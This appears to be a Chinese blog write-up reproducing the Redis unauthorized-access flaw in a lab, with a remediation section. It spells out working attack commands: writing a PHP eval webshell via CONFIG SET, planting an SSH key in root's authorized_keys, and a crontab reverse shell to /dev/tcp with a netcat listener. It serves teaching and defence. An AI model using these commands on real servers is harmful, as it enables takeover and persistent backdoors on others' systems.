Redis未授权访问漏洞复现及修复方案
首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU占用200%,并且存在可疑进程,在很多目录下发现了可疑文件。经过排查后,确定为全盘感染的挖矿病毒,而可能的入口就是 Redis 的 6379 端口。
漏洞危害
Redis 在默认安装情况下,绑定的端口为 6379 ,没有添加过防火墙信任规则,修改默认端口等防护策略,这相当于直接将 Redis服务暴露到公网上,如果没有设置密码认证(默认为空)的情况,会导致任意用户都可访问目标服务器--即未授权访问Redis以及读取Redis的数据。如果配攻击者未授权访问Redis的情况下,可利用Redis自身提供的config命令,进行文件的读写操作,攻击者可以直接将自己的ssh公钥写入目标服务器的/root/.shh文件夹的authotrized_keys文件中,进而直接使用对应私钥通过SSH登录目标服务器。
简单来说
- 攻击者无需授权,直接读取内部数据,导致敏感信息泄露。
- 攻击者可以直接通过命令读写文件,植入后门。
- 如果Redis以root身份运行,攻击者可以将SSH公钥写入root账户下,直接通过SSH登录目标服务器
影响版本
目前测试(自己)
Redis 2.x 4.x 5.x 都存在,可测试,以实际环境为主
Redis的环境搭建(靶机)
安装/环境配置
下载 Redis 安装包 / 并解压到指定目录
wget http://download.redis.io/releases/redis-2.8.17.tar.gz

tar -zxf redis-2.8.17.tar.gz -C [指定目录]

进入Redis目录 / 运行 make 安装
cd ../modules/redis-2.8.17/
make


安装成功
复制启动程序到 /usr/bin/ 目录下
进入 redis-2.8.17/src 复制 redis-cli、redis-server 到 /usr/bin/ 目录下方便redis启动

将redis.conf拷贝到/opt/目录下


开启防火墙打开6379端口
不然外网连接不到
防火墙开启6379端口
iptables -I INPUT -p tcp --dport 6379 -j ACCEPT

开启Redis服务
指定配置文件开启服务
redis-server /opt/redis.conf

本地测试连接
客户端登录
redis-cli

测试ping命令

查看密钥

接下来演示攻击者利用未授权访问漏洞
未授权访问漏洞演示
这里我选择Kali作为攻击机
在Kali上安装 / 配置 Redis
安装上面的步骤
靶机 IP : 192.168.80.11

攻击机 IP : 192.168.80.134

使用redis客户端直接访问无密码的redis
客户端登录 redis-cli -h 192.168.80.11

从登录结果可以看出redis服务被暴露在公网上,并且没有启用身份认证
接下来进一步渗透
利用redis的config写webshell
利用条件:
- redis未授权,攻击者可以直接用客户端连接,且未验证登录
- 开启了web服务器,并且得知路径(可以利用phpinfo或者错误爆路径等)
- 需要有读写文件的权限
这些都是可以尝试的测试点
我这里用之前搭建好的Nginx+PHP web服务器来测试
尝试写入webshell到web服务器内(/usr/local/nginx/html 假设得知了web服务器的根目录)
利用config命令进行文件读写:
CONFIG SET dir /usr/local/nginx/html 设置文件目录
CONFIG SET dbfilename shell.php 设置文件名
SET webshell "<?php eval($_POST['r0cky']);?>" 写文件内容
save 保存到指定路径

查看写入的文件

接着尝试c刀连接或者蚁剑
url :http://192.168.80.11/shell.php

利用"公私钥"认证获取root权限
靶机开启redis服务
redis-server /opt/redis.conf
在攻击机生成ssh公钥和私钥,密码设置为空
ssh-keygen -t rsa

将生成的公钥保存到文件中
进入到.ssh文件夹内 cd ~/.ssh/ 我这里是root用户目录
保存公钥到gssh.txt文件
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > gssh.txt

连接redis服务写入文件
将保存的公钥写入到redis服务器上
cat gssh.txt | redis-cli -h 192.168.80.11 -x set crackit

远程登录靶机的redis服务
redis-cli -h 192.168.80.11
获取redis备份的路径
CONFIG GET dir

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
CONFIG SET dir /root/.ssh/

这个情况说明,目标服务器root没有ssh公私钥,需要手动创建一个

再来设置

设置上传公钥的备份文件名为authorized_keys
CONFIG SET dbfilename authorized_keys
查看是否更改成功 CONFIG GET dbfilename

保存&退出
save & exit

这样就成功的写入ssh公钥到目标服务器上了
攻击者使用ssh免密登录目标服务器
ssh -i id_rsa root@192.168.80.11

利用crontab反弹shell
在攻击机上开启端口监听
nc -lvnp 10086 端口未被占用

通过redis向目标服务器写入任务计划
任务计划:*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.80.134/10086 0>&1
连接redis,写入反弹shell
redis-cli -h 192.168.80.11 连接redis
写入任务计划每隔一分钟向自己的IP端口发送shell
SET cron "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.80.134/10086 0>&1\n\n"
CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root
save

间隔一分钟后收到反弹回来的shell

执行命令

至此Redis未授权访问的漏洞基本上就如上述演示
修复方案
采用绑定IP方式进行控制
修改 redis.conf
# By default Redis listens for connections from all the network interfaces
# available on the server. It is possible to listen to just one or multiple
# interfaces using the "bind" configuration directive, followed by one or
# more IP addresses.
#
# Examples:
#
# bind 192.168.1.100 10.0.0.1
bind 127.0.0.1

去掉 # bind 127.0.0.1 的#,这表示只有本地才能访问redis,这种情况需要通过 redis-server /opt/redis.conf 指定配置文件启动才会生效。这种方法的缺点就是,如果想要多台机器都能访问,就必须添加多个机器的IP用空格隔开,相对比较麻烦。
测试
开启redis
redis-server /opt/redis.conf


测试结果:未绑定IP无法访问
设置访问密码,来提供远程登陆
也是在 redis.conf 修改
在命令行输入 /requirepass 来查找字符串

去掉 # 设置可是为
requirepass [你的密码]
比如我设置为 requirepass r0cky
测试
客户端连接redis
redis-cli -h [IP] -p [port]

输入命令会报错,说明可以连接但是没有权限执行命令,需要授权后才可以执行命令
授权
auth [设置的密码]
授权后可以访问

以低权限运行Redis服务
配置防火墙策略
自己写了一个简单的Redis未授权漏洞扫描工具,仅供学习和参考 Redis未授权漏洞扫描
Redis未授权访问漏洞复现及修复方案的更多相关文章
- Redis未授权访问漏洞复现
Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...
- [转帖]Redis未授权访问漏洞复现
Redis未授权访问漏洞复现 https://www.cnblogs.com/yuzly/p/11663822.html config set dirconfig set dbfile xxxx 一. ...
- Redis未授权访问漏洞复现与利用
漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- Redis 未授权访问漏洞【原理扫描】修复方法
漏洞类型 主机漏洞 漏洞名称/检查项 Redis 配置不当可直接导致服务器被控制[原理扫描] 漏洞名称/检查项 Redis 未授权访问漏洞[原理扫描] 加固建议 防止这个漏洞需要修复以下三处问题 第一 ...
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...
- Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...
- rsync未授权访问漏洞复现
rsync未授权访问漏洞简介 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问r ...
- Redis 未授权访问漏洞(附Python脚本)
0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...
随机推荐
- 前端研究CSS之文字与特殊符号元素结合的浏览器兼容性总结
页面布局里总是会有类似 “文字 | 文字” 的设计样式,不同的浏览器存在严重偏差. 有兼容问题就要解决,下面总结了3种解决方案,分享给大家: 一.系统默认的样式 1.元素换行的段落 <div c ...
- 关于Js异常
一.Javascript的异常处理机制 当javascript代码中出现错误的时候,js引擎就会根据js的调用栈逐级寻找对应的catch,如果没有找到相应的catch handler或catch ha ...
- Shell脚本运行报错Bad substitution解决办法
环境Ubuntu18.4.02 脚本运行报错 # sh test.sh test.sh: 2: test.sh: Bad substitution 原因 从 ubuntu 6.10 开始,ubuntu ...
- 如何解决mac brew遇到无法下载的依赖?
使用brew安装软件时,需要下载依赖包,但是如果依赖包特别大的时候,就很容易失败:brew本身不支持断点续传:但是可以使用wget -c的方式断点续传的下载依赖:下载完如何给brew安装使用呢?参考: ...
- HashMap的key存储对象需要注意哪些
HashMap的key最好不要存储对象,大部分环境都是String. 如果要存储对象,要注意重写下equal和hashcode方法!!
- python实战项目 — 爬取中国票房网年度电影信息并保存在csv
import pandas as pd import requests from bs4 import BeautifulSoup import time def spider(url, header ...
- Python开发【第二章】:模块和运算符
一.模块初识: Python有大量的模块,从而使得开发Python程序非常简洁.类库有包括三中: Python内部提供的模块 业内开源的模块 程序员自己开发的模块 1.Python内部提供一个 sys ...
- ALV报表——选择屏幕变量赋值
ABAP选择屏幕变量赋值 运行效果: 代码: *&---------------------------------------------------------------------* ...
- LINUX CGROUP总结
简介: Linux CGroup全称Linux Control Group, 是Linux内核的一个功能,用来限制,控制与分离一个进程组群的资源(如CPU.内存.磁盘输入输出等).这个项目最早是由Go ...
- 在论坛中出现的比较难的sql问题:29(row_number函数 组内某列的值连续出现3次标记出来)
原文:在论坛中出现的比较难的sql问题:29(row_number函数 组内某列的值连续出现3次标记出来) 在论坛中,遇到了不少比较难的sql问题,虽然自己都能解决,但发现过几天后,就记不起来了,也忘 ...